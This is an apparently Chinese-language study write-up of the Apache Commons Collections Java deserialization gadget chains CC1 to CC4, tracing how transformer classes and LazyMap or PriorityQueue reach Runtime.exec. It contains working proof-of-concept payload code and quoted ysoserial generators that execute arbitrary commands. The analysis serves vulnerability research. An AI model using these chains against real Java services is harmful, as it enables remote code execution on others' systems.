CommonsCollections反序列化分析

CommonsCollections1

先上链子

/*
Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

Requires:
    commons-collections
 */
/*
这里的链子和下面走的略有不同,不过问题不大
*/
//AnnotationInvocationHandler->Map(Proxy)->AnnotationInvocationHandler->ChainedTransformer->InvokerTransformer

在来一句大佬的话

CC1 链的关键在三个实现了Transformer接⼝的类 ChainedTransformer ConstantTransformer InvokerTransformer,Transformer 顾名思义就是一个转换器用来处理传入的对象,然后将处理完的对象返回。

//Transformer接口
package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

那我们就看看在commons.collection都有哪些类实现了这个接口

  1. InvokerTransformer(调用者转换器)

    可以看到通过获取this.iMethodName, this.iParamTypes, this.iArgs来反射调用传入类的方法,其中内容都可控,那我们是不是只要传入一个Runtime对象,调用其中的exec方法,就能任意命令执行了呢

    直接调用可行性验证

    发现成功执行了,但是直接找到⼀个类,它在反序列化的 readObject 里直接或间接调用了 InvokerTransformertransform 方法,并且参数可控,就能RCE,是这样吗?肯定不是,我们都知道待序列化的对象和所有它使⽤的内部属性对象,必须都实现了 java.io.Serializable 接⼝。我们需要传给 transform 方法的参数是 Runtime 对象,在序列化的时候肯定也属于内部属性对象,而它是没有实现 java.io.Serializable 接⼝的,所以即使找到了符合条件的类也没办法构造成序列化数据。

  2. ChainedTransformer(链条转换器)

    此类的transform通过按顺序调用 Transformer 数组 this.iTransformers 中所有 Transformer 对象的 transform 方法,并且每次调用的结果传递给下一个项目的transform进行调用,就像一个链条一样逐层传递执行,那么二者结合我们就可以利用InvokerTransformer通过反射来间接生成一个Runtime类,进而RCE

    //反射获取Runtime类
    Class clazz = Class.forName("java.lang.Runtime");
    Method getRuntimeMethod = clazz.getMethod("getRuntime");
    Runtime runtime = (Runtime) getRuntimeMethod.invoke(null);
    runtime.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    //链式调用写法
    Transformer[] transformers = new Transformer[]{
            new InvokerTransformer(//生成Runtime类对象,此处也可使用ConstantTransformer直接调用Runtime.class
                    "forName",
                    new Class[] {String.class},
                    new Object[] {"java.lang.Runtime"}
            ),
            new InvokerTransformer(//获取getRuntime方法
                    "getMethod",
                    new Class[] {String.class,Class[].class},
                    new Object[] {"getRuntime",new Class[0]}
            ),
            new InvokerTransformer("invoke", new Class[] {//获取invoke方法执行
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
            new InvokerTransformer(//RCE
                    "exec",
                    new Class[] {String.class},
                    new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
            )
    };

    最后调用 ChainedTransformer#transform() 即可,参数为 class对象Class.class

    最后就是我们怎么获取到一个class对象作为我们链式调用的起点,我们继续往下走

  3. ConstantTransformer(常量转换器)

    最后我们再来看ConstantTransformer,这个类实现了序列化接口所以也可以进行反序列化

    可以看到transform函数就直接返回了this.iConstant,这里的iConstant我们直接传入即可,说白了就是拿一个对象包裹一个对象(听起来多少有点没用),不过,由于其transform方法会将其中的iConstant直接返回,我们就可以在其中包裹一个class类对象来作为上面的链式调用的起点,最终构造的链子如下

    最终只要调用transform随便扔点啥进去都能调用成功

上面的内容就是通过Transform类的逐层构建RCE的步骤了,那我们看到如果我们需要在反序列化的过程中进行RCE的话,最终需要调用ChainedTransformer的transform方法才能触发,那下一步就是找什么类中能进行transform操作,这里有两个类可供选择,LazyMapTransformedMap,我们来分别看一下

TransformedMap

我们首先来看哪些位置进行了transform操作

可以看到上面这三个方法都调用了transform方法,看看valueTransFormer是否符合我们的类型要求

可以看到this.keyTransformer的类型是Transformer而且是我们可以控制的,但是上面三个方法都是protected类型没办法直接调用,那我们看看有没有可用的pulic方法

可以看到put方法调用了transformKey以及transformValue,这两个方法又都调用了transform方法,所以,我们可以通过调用实例化一个TransforomedMap对象,然后调用对象的put方法,从而执行任意命令,此时的POC如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class POC3 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
        };
        //构造恶意对象
        Transformer chain = new ChainedTransformer(transformers_exec);
        HashMap innerMap = new HashMap();
        innerMap.put("kkk","jsme");
        Map outerMap = TransformedMap.decorate(innerMap,null,chain);
        //通过decorate将内容转换为TransformedMap类型
        outerMap.put("jlan","gay");
    }
}

直接运行即可弹计算器

现在找到了transform的触发方法了,不过我们还要再进一步让其在反序列化的时候触发,那我们就需要找一个类重写了readObject方法并且其中直接或间接调用了transformKey、transformValue、checkSetValue、put方法

在我们真正开始审计寻找之前先来看两个知识点

  1. TransformedMap是Map类型,
  2. TransformedMap里的每个entryset在调用setValue方法时会自动调用TransformedMap类的checkSetValue方法(我想,这个也是漏洞作者在挖掘过程中按照我上面提到的那两种策略摸索出来的,而不是他一开始就知道…由于idea不能全局搜索反编译文件中的任意字符串,我也就不能轻松的逆向分析复现出作者的挖掘过程,所以就直接把结论放在这里,然后一会正向分析为什么会自动调用checkSetValue方法)。

还要了解一下Map的entryset

由于Map中存放的元素均为键值对,故每一个键值对必然存在一个映射关系。
Map中采用Entry内部类来表示一个映射项,映射项包含Key和Value
Map.Entry里面包含getKey()和getValue()方法

Set<Entry<T,V>> entrySet()
该方法返回值就是这个map中各个键值对映射关系的集合。

可使用它对map进行遍历。

Iterator<Map.Entry<Integer, Integer>> it=map.entrySet().iterator();
	while(it.hasNext()) {
		Map.Entry<Integer,Integer> entry=it.next();
		int key=entry.getKey();
		int value=entry.getValue();
		System.out.println(key+" "+value);
	}

那么我们下面的策略就是,找到一个重写了readObject方法的类,并且其对某个Map类型的属性进行了setValue的操作,于是就找到了sun.reflect.annotation.AnnotationInvocationHandler类,但是由于这是个JDK的内置类,所以会导致这个payload只能在部分java版本上生效,而java在JDK1.8的部分版本上更新了这个类,所以某些JDK1.8及以上是无法使用这个payload

知道了这些我们再往下走,先看看JDK1.8和JDK1.7的区别

//JDK1.8    
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }
//JDK1.7
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));/*setValue在这里*/
            }
        }
    }
}

可以看到在JDK1.8中已经没有了setValue操作,所以以下内容我们都基于JDK1.7来进行private final Map<String, Object> memberValues这里的memberValues是我们可控的

下面我们就要满足进入方法的条件了(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)),isInstance表示前面的能否强制转为后面这种类型,instanceof表示前者是不是后者这种类型,那么我们看看如何才能满足这个if条件

var7 = (Class)var3.get(var6)
var8 = var5.getValue()//也就是从ver5中取出的值
var5 = (Entry)var4.next()//ver4也就是整个map的映射表
var3 = var2.memberTypes()//map映射出的所有object类型列表
var2 = AnnotationType.getInstance(this.type)//此处this.type可控

此处我们可以看构造函数来知道那些哪些内容可控

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
        this.type = var1;
        this.memberValues = var2;
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

可以看到this.type就是var1,也就是一个继承了Annotation的类,关于Annotation是什么可以去看Java小点文章,这里不再赘述,所有的注解都是Annotation这个接口的子类,这里我们使用java.lang.annotation.Retention这个注解类,我们先尝试使用这个类来生成POC看看是否合法

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class POC4 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"wireshark"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value","asdf");
        
        Map outerMap = TransformedMap.decorate(innerMap,null,chain);
        
        // 通过反射机制实例化AnnotationInvocationHandler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
        Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(ins);
        oos.flush();
        oos.close();

    }
}

这里由于AnnotationInvocationHandler构造函数并非公开,所以我们通过反射来构造对应类,再来加一个关于反射获取构造函数的小点

  1. Class类的getConstructor()方法,无论是否设置setAccessible(),都不可获取到类的私有构造器
  2. Class类的getDeclaredConstructor()方法,可获取到类的私有构造器(包括带有其他修饰符的构造器),但在使用private的构造器时,必须设置setAccessible()为true,才可以获取并操作该Constructor对象

OK我们构造完成后进行反序列化尝试,发现运行成功,不过我们前面还有个问题没有解决,就是为什么TransformedMap里的每个entryset在调用setValue方法时会自动调用TransformedMap类的checkSetValue方法

我们跟入反序列化,在AbstractInputCheckedMapDecorator.java中有这么一条,可以看到进入后就直接调用了parentcheckSetValue方法

破案咯~

LazyMap

下面我们就要进行完整的调用链构造了,RCE的部分我们已经完成了,下一步就是找在readObject方法中调用了可控参数的transform方法的类了,这里ysoserial链子使用的是AnnotationInvocationHandler–>LazyMap#get()

先来看看AnnotationInvocationHandler#注释信息处理,其中的readObject方法中并没有直接调用到Mapget方法,但是在 AnnotationInvocationHandler#invoke() 方法调用了 get 方法,this.memberValues可控并且为Map类,那么我们找个实现了Map接口的类即可,此处利用的是LazyMap

我们继续跟入,发现LazyMap重写了get方法如下,对factory属性的transform方法进行了调用,此处的factory为Transformer类,使用其的实现类即可(也就是我们用来RCE的ChainedTransformer)

现在的问题就是我们如何调用AnnotationInvocationHandler#invoke()方法了,这里涉及到的知识就是Java的动态代理,我们可以创建一个AnnotationInvocationHandler代理类,然后在调用AnnotationInvocationHandler代理类中的任意方法都会先调用AnnotationInvocationHandler#invoke()方法,是因为我们在调用类内非静态

总结一下现有的链子,我们先创建一个LazyMap对象,将其中的factory设置为构造好的ChainedTransformer,这样在调用LazyMapget方法时就能链式调用导致RCE了,那我们现在再分析一下Poc

public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

	public InvocationHandler getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		//开一个chainedTransformer
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		//真正的链子
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return handler;
	}

CommonsCollections3

巧了这次没链子了(

/*
 * Variation on CommonsCollections1 that uses InstantiateTransformer instead of
 * InvokerTransformer.
 */
 //InvocationHandler->Map(Proxy)->ChainedTransformer->InstantiateTransformer.transform->input.getConstructor(javax.xml.transform.Templates)->con.newInstance(恶意字节码)

上代码

public Object getObject(final String command) throws Exception {
	Object templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}

乍一看和CC1很像,但是可以看到和CC1链子中不同的地方是使用了createTemplatesImpl,并且tranform链子也略有不同,用了InstantiateTransformer,我们先跟进去看一下构造函数与transform相结合出现什么

代码加上类中定义的内容我们知道添加这个对象相当于调用TrAXFilter的构造函数生成一个对象,再看传入的参数得知相当于执行了new TrAXFilter(templatesImpl)

再看构造函数中调用了templates的newTransformer方法,和CB1链一致,结束

CommonsCollections2

链子来了嗷

/*
	Gadget chain:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
   PriorityQueue.siftDownUsingComparator()
      TransformingComparator.compare()
         InvokerTransformer.transform()
            method.invoke()
               TemplatesImpl.newTransformer()
                  TemplatesImpl.getTransletInstance()
 */
//PriorityQueue->TransformingComparator->InvokerTransformer->TemplatesImpl

看着怎么又和CB1扯上关系了,不过在compare处还是有些微的不同的,所以还是来分析一下吧

前面的Queue部分我们直接跳过,来看siftDownUsingComparator之后的链子

此时调用Comparator的compare方法,跟入

继续走InvokerTransformer的transform方法(此处就和CC1连起来了),跟入transform与CC1触发相同,调用了newTransformer方法触发字节码读取执行命令

public Queue<Object> getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);
		// mock method name until armed
		final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

		// create queue with numbers and basic comparator
		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
		// stub data for replacement later
		queue.add(1);
		queue.add(1);

		// switch method called by comparator
		Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

		// switch contents of queue
		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
		queueArray[0] = templates;
		queueArray[1] = 1;

		return queue;
	}

最后在贴个有意思的东西,如果使用反射类final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");这样进行调用,在改变反射出来的内容的时候也会对反射类内容

CommonsCollections4

/*
 * Variation on CommonsCollections2 that uses InstantiateTransformer instead of
 * InvokerTransformer.
 */
//PriorityQueue->TransformingComparator.compare->ChainedTransformer.transform->InstantiateTransformer.transform->TrAXFilter构造函数

搁着单双数同链子是吧

又换了个头头,触发起始使用的是我们直接从这个新类的transform方法看起,直接反序列化打断点